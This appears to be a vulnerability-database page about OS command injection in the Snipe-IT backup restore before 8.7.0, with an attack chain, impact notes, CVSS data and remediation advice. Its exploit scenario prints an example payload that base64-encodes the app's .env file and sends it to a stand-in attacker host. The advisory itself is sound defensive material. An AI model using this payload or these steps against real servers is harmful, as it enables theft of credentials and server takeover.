Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain or compromise superadmin credentials
-
DeliveryUpload crafted ZIP with \!-injected SQL
-
ExploitTrigger restore via POST /admin/backups/restore
-
ExecutionMySQL CLI processes backslash shell escape
-
PersistExecute arbitrary OS commands as web user
-
ImpactExfiltrate APP_KEY and database credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated Snipe-IT superadministrator account - the highest privilege tier, distinct from lower-level admin roles. The attacker must have functional access to POST /admin/backups/upload (to deliver the crafted backup) and POST /admin/backups/restore/{filename} (to trigger command execution). The clean/sanitizer parameter must be omitted during the restore request, which is the default behavior because DB_SANITIZE_BY_DEFAULT defaults to false in all standard Snipe-IT deployments. The server must invoke the mysql CLI client for restore operations (default), and the database client must be a version that supports \! shell escapes in non-binary mode (standard behavior for MySQL/MariaDB CLI). Exploitation is not possible without superadministrator credentials, and is also blocked if DB_SANITIZE_BY_DEFAULT=true is configured. |
| Impact | The CVSS 4.0 score of 8.6 reflects a network-reachable, low-complexity exploit requiring high privilege (PR:H, superadministrator). This privilege requirement is the primary real-world risk limiter - exploitation requires a fully authenticated superadmin account, not a lower-privileged Snipe-IT user. This positions the threat within insider/privileged-user abuse scenarios or cases where an admin account has been separately compromised. The impact metrics (VC:H/VI:H/VA:H) are well-grounded: successful exploitation achieves full OS command execution as the web process user, leaking APP_KEY (which can decrypt sensitive data) and database credentials. There is no KEV listing and no public exploit identified, consistent with the high privilege barrier limiting opportunistic exploitation. EPSS data was not provided in the input. The optional DB_SANITIZE_BY_DEFAULT guard is off by default, meaning the vulnerable code path is active in standard deployments without additional configuration. Overall, this is a high-severity but low-probability-of-mass-exploitation issue: organizations with untrusted or externally facing superadmin accounts face meaningful risk; those with tightly controlled admin access face principally an insider threat. |
| Exploit ScenarioDerived | An attacker with a compromised or malicious superadministrator account crafts a ZIP backup archive containing a SQL file with an embedded \! shell command (e.g., \! curl attacker.example/exfil?key=$(cat /var/www/.env | base64)). They upload this archive via POST /admin/backups/upload, then trigger a restore via POST /admin/backups/restore/{filename} without passing the clean parameter. The mysql client processes the stream, executes the injected shell command as the web application OS user, and the attacker receives the application secrets out-of-band. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 08, 2026
Remote code execution in Snipe-IT before 8.7.0 allows authenticated superadministrators to execute arbitrary OS commands on the server by uploading a crafted backup archive and triggering a restore. The vulnerability stems from Snipe-IT piping SQL backup content directly into the MySQL/MariaDB command-line client without the --binary-mode flag, causing the client to interpret backslash escape sequences (e.g., \!) as local shell commands rather than SQL. Successful exploitation exposes sensitive application secrets including database credentials and APP_KEY, and permits modification of any file writable by the web application process. No public exploit or KEV listing has been identified at time of analysis.
RemediationAI
Upgrade Snipe-IT to version 8.7.0, which adds the --binary-mode flag to the mysql client invocation during backup restore operations, preventing backslash escape sequence interpretation. This is the only complete fix; see the vendor advisory at https://github.com/grokability/snipe-it/security/advisories/GHSA-x53f-48vj-c5fc. As a compensating control prior to patching, set DB_SANITIZE_BY_DEFAULT=true in the application environment configuration to force the sanitizer pass before any restore - note this changes restore behavior and may reject or modify backup content in unexpected ways, so test thoroughly before applying to production. Additionally, restrict access to the /admin/backups/* endpoints to only the minimum set of trusted superadministrator accounts, and audit existing admin account access. If the backup/restore feature is not in use, consider disabling it at the network or application layer to eliminate the attack surface entirely.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Snipe-IT (CPE: cpe:2.3:a:grokability:snipe-it) is an open-source IT asset management platform. Its backup-restore feature accepts a ZIP archive via POST /admin/backups/upload, extracts the SQL file within, and pipes it into the mysql command-line client using shell invocation. The MySQL CLI interprets lines prefixed with \! as OS shell escape commands - a documented MySQL client feature analogous to bang-escapes in Unix interactive tools. Without the --binary-mode flag, this interpretation is active and applies to streamed SQL input. CWE-78 (OS Command Injection) applies because the SQL stream is treated as a command channel rather than pure data. The application includes an optional DB_SANITIZE_BY_DEFAULT environment variable that would trigger a sanitizer pass before restore, but this defaults to false, meaning the unsafe path is taken in all standard deployments. Version 8.7.0 resolves the issue by appending --binary-mode to the mysql invocation, preventing client-side shell escape interpretation.
Know when Snipe It gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network-reachable via web interface (AV:N), no special timing or race conditions (AC:L), requires superadministrator authentication (PR:H), full C/I/A impact once exploited.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
2DescriptionCVE.org
Snipe-IT before 8.7.0 streams the SQL entry from an uploaded backup archive directly into the MySQL/MariaDB command-line client (mysql) without the --binary-mode flag, so the client interprets lines beginning with backslash commands such as \! as local shell commands. An authenticated superadministrator who uploads a crafted ZIP backup (POST /admin/backups/upload) and triggers a restore (POST /admin/backups/restore/{filename}) without the optional clean sanitizer parameter - which is not applied by default because DB_SANITIZE_BY_DEFAULT is false - can execute arbitrary OS commands as the web application's operating-system user, exposing application secrets (including database credentials and APP_KEY) and allowing modification of application-writable files and data. Version 8.7.0 adds the --binary-mode flag to the client invocation.
Technical POC Analysis
Snipe-IT before 8.7.0 restores uploaded backups in app/Console/Commands/RestoreFromBackup.php through the snipeit:restore command.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
Snipe-IT IT asset management instances prior to version 8.7.0 are vulnerable to remote code execution through malicious backup archives, exposing database credentials and encryption keys when exploited by authenticated superadministrators. This vulnerability allows any superadmin account to execute arbitrary operating system commands on the server, creating risk of complete infrastructure compromise and data exfiltration. Organizations running Snipe-IT must immediately audit database and encryption key security, restrict administrative access, and plan emergency upgrades.
Disable backup restore functionality entirely until a vendor patch is released; restrict superadministrator role to only users who absolutely require it; implement file integrity monitoring on all database and configuration files; segregate Snipe-IT instances to restricted network segments with limited outbound connectivity; require multi-factor authentication for all superadministrator accounts; enable detailed audit logging of all administrative actions, backup operations, and restore attempts; monitor for suspicious shell command patterns in system logs and MySQL error logs.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Cross-Site Request Forgery (CSRF) in GitHub repository snipe/snipe-it prior to v.6.2.3. Rated high severity (CVSS 8.8),
In Snipe-IT, versions v3.0-alpha to v5.3.7 are vulnerable to Host Header Injection. Rated high severity (CVSS 8.8), this
snipe-it is vulnerable to Cross-Site Request Forgery (CSRF). Rated high severity (CVSS 8.8), this vulnerability is remot
snipe-it is vulnerable to Cross-Site Request Forgery (CSRF). Rated high severity (CVSS 8.8), this vulnerability is remot
Two-factor authentication bypass in Snipe-IT (all releases before 8.7.0) allows an attacker who already knows a victim's
Session Fixation in GitHub repository snipe/snipe-it prior to 6.0.10. Rated high severity (CVSS 8.0), this vulnerability
Old sessions are not blocked by the login enable function. Rated high severity (CVSS 7.4), this vulnerability is remotel
snipe-it is vulnerable to Server-Side Request Forgery (SSRF). Rated high severity (CVSS 7.2), this vulnerability is remo
Broken authorization in Snipe-IT before 8.6.2 lets an authenticated non-admin user who holds users.view and users.edit -
Privilege escalation via authorization bypass in Snipe-IT versions prior to 8.6.0 allows any authenticated user holding
Improper permission handling in Snipe-IT before 8.6.0 lets a privileged user strip another user's administrative or gran
Snipe-IT before 7.0.10 allows remote code execution (associated with cookie serialization) when an attacker knows the AP
EUVD-2026-72869
GHSA-f9ch-gg2x-p955
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB